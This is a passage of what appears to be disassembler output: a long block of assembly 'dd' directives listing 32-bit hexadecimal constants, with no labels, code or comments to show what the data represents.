		dd 601C40D6h, 9940F52Bh, 0B977AE8Dh, 765D42h, 0D9046200h
		dd 0BAB68046h, 0D5FEE050h, 1F055D1Fh, 2CDF3107h, 48720690h
		dd 0FBE300E8h, 0E205623h, 0B7008D04h, 579ADA0Ah, 92BF37Fh
		dd 0B6472CE1h, 72480200h, 4478F41Dh, 6D64011Ch,	2D176281h
		dd 0C6ECF145h, 834100B7h, 0F9CE886Eh, 0A49A7A40h, 94F0AC1Fh
		dd 0BD2F1F00h, 712D3583h, 0AF2A0032h, 6CD2E7BAh, 5C0F6B9Ah
		dd 4504BC57h, 0B0C03F8Eh, 0F88A945h, 0E447087Ah, 0CAE3B63h
		dd 43BF5BF1h, 0D39F798Bh, 0B1D8DD78h, 0EA038136h, 0C5C8C7A8h
		dd 9B2900B8h, 0C1CC542Bh, 0B70014C3h, 0A81791DEh, 0C0885F5Ch
		dd 90432230h, 6139E699h, 2B36801Fh, 0B072600Dh,	8CF30085h
		dd 0BDC2CF06h, 0A6A0EAD0h, 0B40E355Fh, 271EC879h, 0D3D0E3E7h
		dd 8BA0FAh, 5DCA8601h, 3F70AFA4h, 52616400h, 1C509193h
		dd 0F3980094h, 65F1A660h, 0E600ACD4h, 2FCAD24Ch, 0A36381h
		dd 0E5234124h, 72BB5636h, 5A0BBCB8h, 0EE4A548h,	20B4E99Fh
		dd 1A1D9660h, 5190045h,	9C57D86Bh, 9039A636h, 0B51B0270h
		dd 40877743h, 72D070Ch,	6EB68E56h, 10935739h, 0AF11F384h
		dd 0AACA2600h, 452B0AF7h, 89E0B5h, 30964B3Ah, 4727CC32h
		dd 19C5749h, 0C3A26104h, 24506FE9h, 0D5B153h, 0DDC6D7F0h
		dd 0E1C4CF1Fh, 94561EE2h, 0AE3F1C38h, 6341DB80h, 736066BCh
		dd 4CB800B7h, 0C6BD06FBh, 3400918Dh, 0EAA3C31h,	1B46F3h
		dd 9C124C2Ch, 97C940C1h, 0F691D800h, 0E3BBBA20h, 5040FD6h
		dd 0E2E0877Ch, 0EBFD51Dh, 26F9D703h, 8BA99EB6h,	56A1F865h
		dd 0CC230528h, 0C0A3A801h, 480810A0h, 0FEC58F0Eh, 23214FDEh
		dd 241935F0h, 95C8AF0h,	0B02AB24Bh, 0F76D005Ch,	0C76F20EAh
		dd 0ECACCC00h, 50ADB28h, 4D1330A7h, 0E959228h, 3515B8B8h
		dd 78085D9h, 80B79F45h,	2B89A5D0h, 0C89470h, 0E1F6C9EAh
		dd 0FA00B29Eh, 7C6C41E8h, 491CFFA7h, 18008CCh, 2A12CF97h
		dd 2E1247EEh, 4CC760D9h, 0E95A4123h, 64F03720h,	0C0CFE90Dh
		dd 5010268Ch, 1C9EDCCBh, 145A3519h, 6C249BA5h, 38150044h
		dd 0FB825BE0h, 6F905960h, 0A0246A41h, 393CE0h, 0B2C1971Fh
		dd 105E86E2h, 0A0702760h, 9BDA791h, 0CF65B176h,	2C8B1404h
		dd 703E3E1Fh, 0B1BE83B9h, 0C7C13003h, 0BCAB5CC2h, 93EEE0C8h
		dd 75C33202h, 4CC80927h, 79289010h, 52D727CCh, 3DE81800h
		dd 1800A293h, 7E73153Eh, 43FDCE7h, 0D9D4B501h, 605CE130h
		dd 28FABAFBh, 54033C00h, 2C0BBC77h, 9EB81D78h, 0A937C1B4h
		dd 261EC0E3h, 0E94E00CCh, 0A5546AEDh, 3D6F00C8h, 0EFE49C5Eh
		dd 832E928Ah, 7C03A6A0h, 0B8104EC1h, 0DB6D3Bh, 0A38CA94Ch
		dd 2D5D864Dh, 7BF57216h, 0E8B1F84Ah, 0BC60AA45h, 0DAAF56h
		dd 0BC255CD7h, 32413F60h, 9D3DE007h, 81CB774Ah,	93E80BF4h
		dd 150A1827h, 958854F1h, 3C00D826h, 0B568CBC4h,	0B0942B14h
		dd 4000CF3Fh, 0DD4587B3h, 6CA51211h, 47C44557h,	4CD8395Fh
		dd 7B2A2378h, 0EC14A83Ch, 1C858B9h, 9AEFE2C9h, 7824E3FDh
		dd 60AA3B52h, 0D2238381h, 2064908Dh, 0B724F388h, 5A071985h
		dd 0ABF39617h, 51501Eh,	4F34911h, 27324000h, 0E1844131h
		dd 0B7EE4492h, 452B024h, 0A033A50Bh, 0C51C4A38h, 0B68C0186h
		dd 4F14A318h, 262FE870h, 5C389267h, 6102CFD0h, 4010DEB7h
		dd 0E8552C1h, 430757A1h, 2F0167CDh, 868C6D70h, 5F11064Ch
		dd 0F91C6489h, 79A6D101h, 38AC5D2Ah, 32E3D60h, 16930191h
		dd 42E848D9h, 2215D54Dh, 2C4B1B8h, 3C8836EDh, 422448FCh
		dd 9EC100D5h, 3058B027h, 20134B92h, 0E045B98Ch,	0C880764h
		dd 84F254F6h, 71940434h, 9183354Bh, 707C2B14h, 0EA011EF2h
		dd 0A29A8C9Dh, 5ADCD9FAh, 901A7C92h, 0B28D00C8h, 5F7A5F1h
		dd 0D901E472h, 0FCC2F1Dh, 0BACC946Fh, 7778C0AFh, 0A65C6CB6h
		dd 0D9203205h, 0BD80B2B4h, 5499D23Ch, 0A6D80A3h, 0AD1C747Ah
		dd 0D3F209DCh, 0BCE0F009h, 66F88A43h, 0E3146900h, 10CE9979h
		dd 0E4181309h, 0B24CD47Ch, 49E21DB0h, 7D8114A4h, 74CC76Ah
		dd 9AD80ADCh, 9BF9008Ch, 682A9CB8h, 801B4FDh, 1AD9AAB0h
		dd 51BE9672h, 1009230Ch, 0AA00BD49h, 0FCC167E6h, 5DB4C5h
		dd 38884AAEh, 14D37001h
		dd 9928D700h, 1ABB1F5Ch, 0A2B705BDh, 80F2AB9Fh,	0EEED6028h
		dd 6EA3B900h, 67E4F543h, 9B330089h, 0A0884EFDh,	0EB00BF0Eh
		dd 668B7FB0h, 70E0C479h, 6CC801D2h, 0C92A043Ch,	0F0A5C952h
		dd 0BA7D17E9h, 83AB8938h, 3CBD8791h, 7F9EF0BCh,	130EF664h
		dd 4568D45Dh, 0A216EF08h, 60DA84B8h, 0E96EA900h, 0C31F5674h
		dd 4943186Fh, 0C858D2E4h, 7FDD336Ch, 2178C0h, 452C3603h
		dd 0F4DA95D4h, 0D8C92D00h, 526E63F2h, 73510777h, 47D942CAh
		dd 0CF45D0E0h, 0BE6FE146h, 0DE8D0068h, 0D72D53h, 31FB4A9Fh
		dd 0DBFFF373h, 6D93B40Bh, 120C6455h, 492DDEEDh,	4C805DB0h
		dd 0F2680CD9h, 0AC071B01h, 0DB3DBD35h, 5900C60h, 94D5D6B0h
		dd 854C0F0h, 120F0D65h,	0A09ACD88h, 0B284F214h,	2154608Eh
		dd 44755FAAh, 0FF2C1F24h, 0C5502Fh, 95C891F3h, 9C6E42DCh
		dd 0DF77C5E4h, 24BC4900h, 3A3EAA2Fh, 9D670030h,	73D41D56h
		dd 81000BF8h, 0B385D06Dh, 64FF69h, 839F3114h, 0CCF97F51h
		dd 0F1E70D00h, 1D4E282Fh, 24020510h, 40356744h,	7F7678D0h
		dd 2D12A1E6h, 0CC00400Ah, 0AE8E58E8h, 0B51F09DBh, 0A821AB01h
		dd 0DC6DB0DEh, 2E54E18Bh, 5C039490h, 14F8B7A3h,	0EB41000Bh
		dd 0E83C4859h, 0B69838FFh, 1F004C72h, 0E4E34657h, 53A5209h
		dd 0C2DE0CAEh, 3054A0BDh, 1E0040B0h, 147A2490h,	306CE40Eh
		dd 65A8D369h, 8E027E7Bh, 5BDA176Bh, 0C1EC8F6Eh,	42609204h
		dd 4E803829h, 0F090C668h, 0F9F888FEh, 0DDE1BD02h, 61D2B92Ch
		dd 0F0203144h, 64835901h, 7E606EC8h, 86A525E9h,	8E95F409h
		dd 0CC60A0F6h, 7C0697h,	1D469314h, 72C54332h, 5AC21200h
		dd 41B3C07Eh, 706F6902h, 6D53E080h, 7C74D883h, 9DF5E412h
		dd 3D6EED00h, 0E9BC72h,	4F519CFDh, 0DDEBFCA6h, 0A873F10Bh
		dd 0A57CAF65h, 44E4BBD2h, 2B8130C5h, 0CC5E76F1h, 19BC6805h
		dd 5C916F1Ah, 0D2E47B41h, 1DEC1CA0h, 5594987h, 3C444A5h
		dd 58B2C9C8h, 71D4100Eh, 11CA60B4h, 7AF14943h, 6125600Eh
		dd 83AD7AB9h, 0B0858913h, 6E8C9030h, 0FE8201E0h, 0ABEAB254h
		dd 9C308068h, 26A01ACAh, 4F20F922h, 78341E67h, 159DD6Ah
		dd 39D0B80Dh, 0D5A03ED5h, 0EAEB004Bh, 1FC1CC5Dh, 92073BE2h
		dd 0EECE244Eh, 0CE368C32h, 0F1CA232Ch, 51114160h, 18B2A5h
		dd 0F37A6481h, 0E5507067h, 1772AF3Bh, 0D04AE26Ch, 0CE0098C2h
		dd 359E8BAAh, 0B8A50299h, 92A2065Dh, 4A2B54F0h,	61803452h
		dd 1FE81E5Bh, 0D2F52C5Fh, 8EA40020h, 0E6B26ADDh, 509D2203h
		dd 9A1153F2h, 0D1DCC14Ch, 15BC050h, 5F9B1F47h, 13124150h
		dd 801042E9h, 2AF01728h, 0DBB76Eh, 80D0CC38h, 0A59A8F7Eh
		dd 574FA800h, 50CB964Dh, 0BBA90039h, 26E521D4h,	0B45088DDh
		dd 965FD2C0h, 4624BC20h, 78DB60D0h, 0C6E29D7Ah,	0DC182BE2h
		dd 0D9E0FF5Dh, 923F0123h, 0ABC88BF0h, 0B053DCE6h, 2648A258h
		dd 6300A8E3h, 360282F1h, 18A062E9h, 4044F92Eh, 76244D49h
		dd 0AC6459h, 304106FAh,	0FDC48FCh, 3C321694h, 0F0807E89h
		dd 62775F04h, 0A04E2B00h, 63980286h, 13B31AEh, 2CFEA340h
		dd 0BD620774h, 8690654Dh, 0D6F624h, 7F900C1Dh, 0F16A0879h
		dd 0D10084E8h, 0C8897BB3h, 0D0CBDDh, 0FF338E0Bh, 0A0BA95BFh
		dd 9C72A924h, 5F29CA40h, 9AF200B4h, 0D84E5619h,	6800C611h
		dd 0FCDDEC66h, 0F26F77F9h, 0B67001Eh, 1008BE5Ch, 0A4054225h
		dd 0CA56684Bh, 0D79F9C00h, 3FFBC004h, 471E4D0Ah, 81BE7EF2h
		dd 28AD7300h, 0E4D5083Fh, 6DC9B200h, 8CEC7942h,	0E1092859h
		dd 0B19B1F08h, 10F14034h, 0BF35C536h, 7DCED201h, 0ED4C8113h
		dd 3387081h, 60AF2808h,	47746140h, 0D165D878h, 0A4D00D30h
		dd 80A8E0F9h, 1500EA2Ah, 0D8EF4159h, 0C01930h, 9CEE1213h
		dd 0E75A3867h, 14799A79h, 614E0702h, 50654BC2h,	1AE624h
		dd 0B208F333h, 0C5E6316h, 0EDFF210Eh, 80D9C947h, 0C90B1FDCh
		dd 0C3A5004Eh, 0CFA7D332h, 512607D5h, 120118DFh, 2D7DBEA6h
		dd 0BCC18878h, 20B34E45h, 15125A1Ch, 348817FCh,	0E40F1F96h
		dd 0C1A1409Fh, 993C20DFh, 540D2E0Bh, 562B8922h,	0DB2066h
		dd 0BD97ACECh, 0C6305977h, 9F18ED3Dh, 92D4F30Bh, 0B1E40A84h
		dd 803BA36Ah, 0FD0F017Eh, 349163Ch, 6FC0724Dh, 0BFA01486h
		dd 0C1048DA4h, 77A141CEh, 22156081h, 671310E4h,	71961074h
		dd 385804F1h, 18141E94h, 4AC41A80h, 0FCC387h, 3C98459Fh
		dd 0D18F5B5Ch, 80177639h, 2360302Bh, 25A7812h, 0A866E816h
		dd 5CF0981Ah, 77619C00h, 0AB1E46BEh, 3FB8C04Eh,	657FE759h
		dd 0F65E0306h, 2A8B694h, 78FE1D52h, 0CAD43750h,	6064A60Fh
		dd 0D6F713DCh, 745E009Bh, 1299F4FDh, 0BB072DE0h, 1ABC2933h
		dd 0C7A01BE0h, 0C8FB016Eh, 0F9132EC4h, 836420FCh, 0FF79760Fh
		dd 336B200Ch, 93ACEBh, 4543D2E5h, 54CA31E8h, 1A021079h
		dd 0F3C8A8B4h, 8910E9D0h, 0AC760840h, 321104F1h, 80E0F4D8h
		dd 8BB464Ch, 1953B412h,	0A06442E1h, 0C7D300D8h,	7945149Bh
		dd 895C7F9Dh, 0AE601884h, 7CD8B138h, 4EA80010h,	823F3ABAh
		dd 8600F45Dh, 0E1E57A41h, 7BB256CDh, 0F8E30E6Ah, 3F200CEBh
		dd 96F6EE94h, 0EDCB3E06h, 0E0F4A9h, 0CC082533h,	0A35AB79Fh
		dd 0A00DEF2h, 2FD3E5F2h, 3A2118h, 31766127h, 0E23F3904h
		dd 2CCB0105h, 800D9AEh,	0A159FBE6h, 738B3B85h, 0BF6A860h
		dd 0BB13D319h, 98408C2Fh, 6B0A9616h, 9F2A03D1h,	0D83CE66h
		dd 0B1E0C0FCh, 8900A12Bh, 0DC0BF21Ah, 4C91D7Ch,	57864EDEh
		dd 63E093A4h, 0EB768BB0h, 99F68A01h, 0D54748F0h, 3E30A3E4h
		dd 0CEB0B22Bh, 9A911F80h, 10F66D01h, 0EC9C5598h, 0C237D0h
		dd 889BBF7h, 6860DC86h,	544EB0Fh, 2330A081h, 7EC0F6Ah
		dd 0A1F1A42Bh, 65800028h, 8601CD22h, 0E9A75259h, 62D8A819h
		dd 11B1F44h, 759C0064h,	4F5FCA5Eh, 508B6900h, 53B5DC4Eh
		dd 0DF340098h, 0EF89AB79h, 95007835h, 9BF9B9D5h, 0E603B721h
		dd 877D92h, 0FEEC1F55h,	0B204E7B6h, 4118F8F0h, 441816E9h
		dd 3FAF015Bh, 7D14079Ah, 0D8F9E086h, 0D72E9D00h, 1078E5C2h
		dd 328400F5h, 761D7344h, 6C002195h, 0CE8B90A9h,	5B5EEF9h
		dd 0BA04A6B6h, 0ADF8C040h, 0C071F72Dh, 3E952B07h, 84DB491Eh
		dd 0E4BCF4EDh, 0D8A3F907h, 447AE054h, 0D12C117Ch, 4C00507Eh
		dd 0B8C38B47h, 0ADDE060h, 0C2882876h, 294F0008h, 61AC1D89h
		dd 4DD86518h, 0B5DB030h, 274B8D20h, 553680E8h, 0A7394401h
		dd 0CF38C69Bh, 7727AD0h, 37F85E8Bh, 3B30C0AFh, 87512D05h
		dd 78EDD84Ch, 41ABD925h, 6D08310h, 1F861F0Fh, 0CA2440C9h
		dd 49AF5FF6h, 0A850070Ah, 2501A8FEh, 2F468C59h,	2D013D0h
		dd 0FABC2E66h, 766098AAh, 91000989h, 0C41E2F8Bh, 2D327F5h
		dd 0D78212EBh, 408F8D28h, 0C0ED1AE5h, 0A46320B8h, 60C03750h
		dd 0E590B600h, 0F666FA35h, 956573E6h, 862DBC22h, 0D8392086h
		dd 856C630h, 18F83B69h,	21DA3C2Dh, 7A60582Fh, 0FA55F739h
		dd 0DF56006Fh, 55E0ECDh, 7E00F19Fh, 0C906D63h, 0F4AD47h
		dd 3C6286F6h, 0A045C209h, 7B5A2800h, 3B1ED815h,	7CBAF22Ch
		dd 20F01D43h, 8E1CE0E6h, 52806D21h, 0BB1D9BE4h,	61D9E078h
		dd 3C5789D1h, 3804DB40h, 0A6764B3Ah, 1857A05h, 0B64C75D0h
		dd 0C61041CAh, 0AE03D5h, 7C98B041h, 1C01CEDBh, 4411D1C7h
		dd 0C6D98980h, 8CD5002Ch, 509556FFh, 0BB006E49h, 0B67AD672h
		dd 18F544D2h, 6040302Ch
		dd 720F48Eh, 55D10CC0h,	2F18ABA4h, 85615A13h, 1B40801Dh
		dd 893FF7AFh, 7547000Fh, 0BA97455Bh, 0CF016D02h, 0A7B14C09h
		dd 7970ED5Eh, 0A0B858h,	70448BA6h, 4293EA3Eh, 0CD47F116h
		dd 5DFE190Eh, 610AD340h, 7CCA3B2h, 9A2571AFh, 427973B3h
		dd 1EE096C3h, 0BB00E9CBh, 815522EEh, 1233F8h, 74970327h
		dd 31DACD5Fh, 61008AFCh, 8F59E40Ah, 89705Dh, 8247FEE6h
		dd 0E130806Eh, 5F1C3B00h, 994DD55Eh, 0A8EFF5E8h, 0F391CAh
		dd 0EFDDE9DBh, 0F9613CB8h, 2D57C00h, 0BA9C2BB3h, 0AFFA0575h
		dd 0C011175Ch, 0E179533Ch, 3AC1D51Eh, 0E257D900h, 0CE24D6h
		dd 96CCC5E3h, 26D142C7h, 28FA3A30h, 3C6009AFh, 2C122EBEh
		dd 0CB00BAD2h, 0D8D95468h, 49718Bh, 9CD6231Dh, 2798F984h
		dd 45BD8E0Fh, 29B186C9h, 0F6E40748h, 0C0A5CC71h, 4B02967Eh
		dd 1D36FE00h, 0EA2C3CC2h, 58AE602Fh, 0A10C4EE8h, 9066240Fh
		dd 203B6E3Dh, 866DA54Ch, 0B1BE00E3h, 0D1BA1127h, 4B0C5A74h
		dd 0B0C08B60h, 33410087h, 2CE8B1CBh, 0DD07913Bh, 47559D84h
		dd 6A905987h, 0AF54F6h,	0AEE06458h, 1EEAA79Eh, 344DC102h
		dd 40ED56ADh, 1C329035h, 404885ACh, 0E0464F1Fh,	7300F8A7h
		dd 8D971730h, 5AC80Ch, 3CD43394h, 0D7374519h, 0ADC4B800h
		dd 0EA95F985h, 51A11E82h, 39013A98h, 87C3F8D9h,	68ED3040h
		dd 0D50D6F78h, 2031F5BCh, 0C00B7080h, 829AC438h, 62E71700h
		dd 8D034BB3h, 29100AEh,	67E546F1h, 0DB00B1F5h, 0A7953F53h
		dd 378420D5h, 0D1499AF7h, 70D1D886h, 0E603B125h, 364A5730h
		dd 3A44E8B8h, 0D4760787h, 0E0B9D9E1h, 1FA9D332h, 178EC200h
		dd 0A17D39A8h, 4A5130FAh, 49238C51h, 80C7FF51h,	0B5F1FC10h
		dd 7E9A2AFh, 0FE4F2971h, 0C437A07Fh, 0CD000A65h, 221F34F0h
		dd 0F280C740h, 25521F77h, 6C0ECFADh, 426F5BC0h,	720074F8h
		dd 0D4992209h, 4871D9h,	5FA0C22Bh, 0DC9F332Fh, 7D20AA77h
		dd 47A5041h, 6413300Eh,	9377CF18h, 326A6800h, 541675FCh
		dd 2F113C91h, 0DF2A2480h, 6E39A08Eh, 0FF567800h, 869ADD4Dh
		dd 1535039Fh, 2E27E1E9h, 67EC9EC0h, 0F9008FF2h,	7A65EB64h
		dd 0F1C2Ah, 82C4EFD0h, 0D1ED79FCh, 4027800h, 668FDBDCh
		dd 55E31F36h, 9E3380B4h, 0E4FEB247h, 576AD203h,	0D8BA09B9h
		dd 0DE8958D8h, 0B12381BCh, 0D0FC93D4h, 6601DFF6h, 0DB5C7AB9h
		dd 0A9D47D9Dh, 30A20781h, 40A54BF8h, 7E636082h,	0E9400A00h
		dd 488BB838h, 0AB8E0F15h, 0E0405AF7h, 0B5BDEA1Eh, 274ECF01h
		dd 544C8984h, 2A23F8h, 17D07BABh, 0B7B0DB06h, 4179391Ch
		dd 0C636F100h, 739824h,	0D8BB4759h, 8E7E50E3h, 8717C300h
		dd 5313F457h, 18443BB0h, 7DC64C00h, 96820A6Dh, 0D4480B00h
		dd 1A556157h, 0B270503Dh, 0E47559h, 3EE18D11h, 0FE631EF3h
		dd 4029EE0Ah, 0D480E4F2h, 24E21BBBh, 0BEAA0039h, 5A96DAAFh
		dd 5779C159h, 0ACB2C000h, 0C538976Fh, 40A76172h, 7A0F6Dh
		dd 0B0F6868Fh, 681D07DCh, 0F2BB407Ch, 0D78FB705h, 0B46167E0h
		dd 0DF3CCE06h, 0B58780DDh, 0C64921ACh, 0A3D0387Ch, 25EA9E80h
		dd 0F647FA82h, 7A76800h, 0FB5F88CFh, 7DC9006Dh,	917534D9h
		dd 0E41C14C4h, 8D5EDE55h, 13447B41h, 0FFF82A52h, 8A1B000Fh
		dd 0EFA6D9C1h, 0F200649Fh, 7876DBEAh, 784A95Eh,	87F84C6Fh
		dd 39A4600Bh, 55001A29h, 0E1E46725h, 0D90FD4h, 0F0245F2Fh
		dd 6512241h, 2CB0F400h,	1A815C33h, 7FDE00BFh, 557EF2Eh
		dd 0C2041251h, 54205F36h, 0C07E62C0h, 0EACF00B1h, 3EFBF56Dh
		dd 590740FDh, 4A7AF8A3h, 0F47F48D0h, 0EFEF2A8h,	0F1B444D7h
		dd 0D6070200h, 4300B6CDh, 0ABCCAECFh, 3B995D47h, 0F59E6659h
		dd 68B5CC1Fh, 63009E44h, 0B9ACEE9Bh, 16150695h,	103E0149h
		dd 0ED00CC49h, 0D9283854h, 9B8CEAEh, 0E79A3700h, 5AF6BA01h
		dd 7F160067h, 89DBB3D8h, 0EC3C4DA0h, 0E06B16F7h, 33D00BAh
		dd 6755A7F5h, 86AEF400h, 5681C4BEh, 701D2683h, 3D72042Dh
		dd 0E9028075h, 0B478E0F5h, 90687824h, 8649A387h, 0EFD90480h
		dd 0DB5B0028h, 1FD28AC9h, 3E121AD0h, 500051D6h,	7991777Eh
		dd 630B3009h, 332DBAC8h, 561980h, 767E3642h, 0D2F77965h
		dd 0A32A711Eh, 0CB00BA35h, 0AF604CDFh, 8B150170h, 86A22B88h
		dd 6AE4EC7Dh, 0C0304100h, 39A7509Dh, 9E141CD0h,	77E6C040h
		dd 6AE0A678h, 0D1E939h,	0C6A111C4h, 909CEF8h, 8217AB31h
		dd 7C97B400h, 0CA052F49h, 0EA2407E0h, 0AEB10380h, 0B8B71EEh
		dd 0D1B2D01Dh, 0D6178780h, 4E39295Bh, 0A8693Ah,	8FCB9A88h
		dd 0AB521E26h, 21CD07E0h, 30D55048h, 854C2D7Ah,	39500ACh
		dd 0D7597FA3h, 9A33005Eh, 758F1DD2h, 5D00CE3Ah,	8D40C627h
		dd 3A7C2F0Eh, 6E0F1BC2h, 841546A8h, 108B0070h, 0C15ACF5Bh
		dd 0D6049648h, 7A77811Ah, 965D892h, 0E4394602h,	751B0740h
		dd 25DFE204h, 86C0B457h, 7D5E97A9h, 0E519002Fh,	30E1E7D3h
		dd 740005E6h, 8F29DE0Eh, 707F6BEFh, 26D9008Ah, 7BD88885h
		dd 4607822Eh, 972C502Ah, 73680300h, 0A642EF3Dh,	0EAA440B7h
		dd 8FE400ADh, 4DCF8083h, 9000929Fh, 774255DBh, 2E00759h
		dd 8366267Dh, 986857DEh, 383F9CDAh, 79E8016Ch, 0A6666281h
		dd 5CFE40D4h, 87004CF8h, 6B3902B4h, 4A0C70A1h, 48669ECCh
		dd 1FAF3FD1h, 3ADF780h,	8F11333Ah, 47F22100h, 0E8F05625h
		dd 0DF96003Ch, 0A475CB6Ah, 0DD1D3128h, 9DC0E51Dh, 0B9E8DC8Bh
		dd 442F4C5Bh, 0C363027Fh, 0F27C6EA5h, 58CCD890h, 0D51D7103h
		dd 0F046B7C4h, 98479442h, 74550074h, 0AE08BE31h, 78B844EBh
		dd 4C3E6F5Ch, 0DD007F58h, 72A482CCh, 53F30C03h,	0F1001066h
		dd 65B0FFD9h, 0C2709D4Dh, 6481CD00h, 562075Dh, 51210066h
		dd 94043134h, 0C900E776h, 4E3EB345h, 0D2689Ah, 65F9D2Eh
		dd 84A5876Ah, 0A200647Ch, 0DA4257DDh, 0DCCE4Dh,	8A6216E3h
		dd 10A9E0BCh, 24F1C200h, 35B7B94Ah, 0F0D002Fh, 28A544C3h
		dd 4CF0AE25h, 0B9BE7400h, 2EF6B662h, 0C3342EF5h, 0FD0A8318h
		dd 5900A6FBh, 638FD308h, 34DA2EEh, 0B093A1A5h, 487C0B02h
		dd 3D836205h, 0D897FFE7h, 0CE43CAB0h, 2637007Fh, 0A2018407h
		dd 0A990B3E7h, 1EAD3605h, 3A82EAE9h, 0ED25C091h, 8EB51F6h
		dd 6E7A4D4h, 0B27F60E0h, 6D09310Ch, 1B42348h, 28C80D44h
		dd 7A11DEB0h, 6AC0806Eh, 0B78F326Ch, 3619C2BAh,	98C865DAh
		dd 8307BED0h, 9B96E9E0h, 6D7F7900h, 6B6E244Ch, 0E3050068h
		dd 0F487B78Bh, 15B2FA00h, 0E02ED52Fh, 4B34009Bh, 22C46356h
		dd 351E1AE1h, 68F7427Bh, 0C57402D0h, 980D0031h,	82914A29h
		dd 0DC900CC8h, 0D58EE00Ch, 0B691E8h, 3B52C714h,	0F9EF70C8h
		dd 931C100h, 0D1BBFA98h, 2D35FEB4h, 62C242CFh, 72ADC820h
		dd 6BB8D439h, 48E19600h, 625D11D3h, 4CAC0006h, 90B19C3Fh
		dd 1371EC97h, 1ED67A00h, 0A1BC5CBEh, 0B42700FBh, 1DE85FA9h
		dd 0B789FA6h, 0DA2BDD00h, 0A0B1506Eh, 6F340097h, 24359D62h
		dd 550064F1h, 81B25645h, 5861CD73h, 6203FE89h, 4468C776h
		dd 0DBFD30EFh, 530939Bh, 0B462E1B3h, 0AE4F00D5h, 0DE323696h
		dd 0E000496Ch, 0E33A3E12h, 0A89CC235h, 7427618h, 692D5D1h
		dd 61E937F5h, 0C04D3158h, 73E85A97h, 61868800h,	9350BFDBh
		dd 946900E0h, 0BC53356Ch, 59072D7Ch, 1CA2E2DEh,	6A893420h
		dd 0E8EB14B0h, 7401FCB2h, 0E1B67C9Fh, 0D9209C69h, 4181CB20h
		dd 15B7BC0Ah, 8F00D8CFh
		dd 0AD7FAE90h, 0A374F18Ch, 0FC08A463h, 0EE200030h, 4DDCAE5Fh
		dd 0C000C85Ch, 698C330Eh, 3BF89F70h, 7A00FA99h,	0B14DB62Bh
		dd 68F45AEBh, 79300E54h, 0AD42AE08h, 912BC674h,	0AE5CE100h
		dd 89277E83h, 653ECC8h,	0EF5D3A9Ch, 0B101F0F3h,	9E20FD36h
		dd 0D88C848Ch, 0A9D1B2DCh, 9190CE00h, 2EE7A0A6h, 7E8600FFh
		dd 0A5783E23h, 511B407Dh, 9848C49Bh, 11DBBAh, 21828FEAh
		dd 8C5FEF84h, 0DC069105h, 13855533h, 94018200h,	0F142C1h
		dd 0A1783B0Fh, 21A3F31Eh, 47E1700h, 373D93AAh, 0CF0139B2h
		dd 194E9Fh, 0DF4F9124h,	95EE8298h, 9BC6DC00h, 274BB4C7h
		dd 0DA9D3C85h, 0F6D4250Fh, 0B211E100h, 0A1077A48h, 0C914662Bh
		dd 0FA81930h, 32B50FB4h, 0DF007229h, 0E38E8278h, 80FADD38h
		dd 0B3732470h, 38015Bh,	9014CEBBh, 3A881339h, 0E19D661Fh
		dd 0BE4118B1h, 0F04DA7DCh, 0AAEE3C19h, 70686F0Fh, 0D144AB00h
		dd 0CE00B788h, 0BAD9491Eh, 1D19A5C8h, 0FE703CFDh, 0D9686577h
		dd 46573h, 954BBFAEh, 0D8C02550h, 0E0C16FDDh, 4C050FE1h
		dd 492144A6h, 0E8A7CEEFh, 0B11E4F27h, 8CA8EB8Eh, 6E6D8B19h
		dd 52F0B330h, 0EDB200A9h, 0D7BB765Ch, 40E5157Eh, 6F353FEEh
		dd 49955A14h, 968F0C28h, 0A1661903h, 0D244C0h, 0E214CDAh
		dd 0D5CA9C1h, 604D7C76h, 0C37A6C0h, 7005E8B7h, 418935A8h
		dd 0D0719AC8h, 0AD009058h, 1A17B5F5h, 5114EC23h, 548BEA6h
		dd 0F029108Ch, 0B11B7C22h, 3C40B584h, 688BDB04h, 484F18Ah
		dd 271AED1h, 4827519Bh,	3A075B08h, 482844A4h, 8770F448h
		dd 0BDB6E886h, 94680649h, 38663491h, 0DD4CB05h,	0D01D0EBFh
		dd 7B28B501h, 5C116E06h, 409DF9A7h, 95F11418h, 0F8A63002h
		dd 81D069E3h, 19432850h, 0B17C3987h, 0A6A9709Ah, 94A8A2B6h
		dd 31184B95h, 9DA95E6Eh, 0F1C8039Bh, 4CAD2248h,	412933C1h
		dd 0E00E1884h, 123CD292h, 8CE33F5Ch, 10DC6FFBh,	0CA6903D4h
		dd 1A8553BEh, 2786B9C0h, 0A3604C1Fh, 940EF000h,	0C258BE0Fh
		dd 3844A769h, 7B7F3044h, 0B2AEFC05h, 0A020B0FEh, 909732Eh
		dd 13BECBC3h, 0F48E0020h, 3311EE1h, 164620CCh, 3F82A1B9h
		dd 52D8F359h, 0BEFBC840h, 58EDCC24h, 1702A81Eh,	0C0DEF027h
		dd 9FD6129h, 65F23697h,	410CCDD6h, 0AFCE607Fh, 32279040h
		dd 914768DCh, 12035A40h, 0ED0517F0h, 8EBE18C7h,	0EC27A74Eh
		dd 81481AF6h, 0E911ACACh, 105446B9h, 20EECE32h,	116D213Ch
		dd 0A95C301Ch, 440AB60h, 51E9C68h, 44AA8C27h, 5DA441F9h
		dd 325537BEh, 487F1410h, 0A2DB3D0Ch, 184C5473h,	71C420FBh
		dd 95C8BC0Fh, 2B8880ECh, 9236F0A3h, 0F7C40080h,	6F5DE38Dh
		dd 441D14FDh, 9618FB07h, 0EAF0B21h, 0B4E25B4Eh,	2A973Dh
		dd 8444BBF2h, 0A80DCC81h, 68C89FC6h, 2A3817E4h,	0A81B10h
		dd 0F6CFE3F9h, 472E49A7h, 5174A9ECh, 0D29434F7h, 2A38B48h
		dd 6B6E12Fh, 84A460C5h,	0FE0D2493h, 0A0F00ABCh,	4BCF0FF8h
		dd 24039454h, 12E31F88h, 3BDD203Eh, 0B138ED2Ah,	1366F420h
		dd 432805BDh, 0D0B4D33Ch, 7B86DBF8h, 0CEF20D0Eh, 14E58434h
		dd 0D1A0FE00h, 5206FC38h, 2C62B94Fh, 435C0C50h,	0BA687F9Ah
		dd 6C19ED13h, 1E682C18h, 0B76901DBh, 1BA43E4Eh,	818D7E9h
		dd 50202EC6h, 9069003Fh, 2B1C77F4h, 353AEF97h, 0F00CFD30h
		dd 58E2CE43h, 0CA781B85h, 0B823702Dh, 6CB60353h, 62A4DBD6h
		dd 0E884A00Ah, 0FC68295Ah, 0B235008Fh, 7D4CB6B1h, 0F4AAB823h
		dd 0E2941860h, 0C4B948h, 0F927346Bh, 7B21E35Ch,	0FF5B0764h
		dd 0E07C2455h, 0A810C2A9h, 1E89A538h, 0E040FA1Ah, 78AAD454h
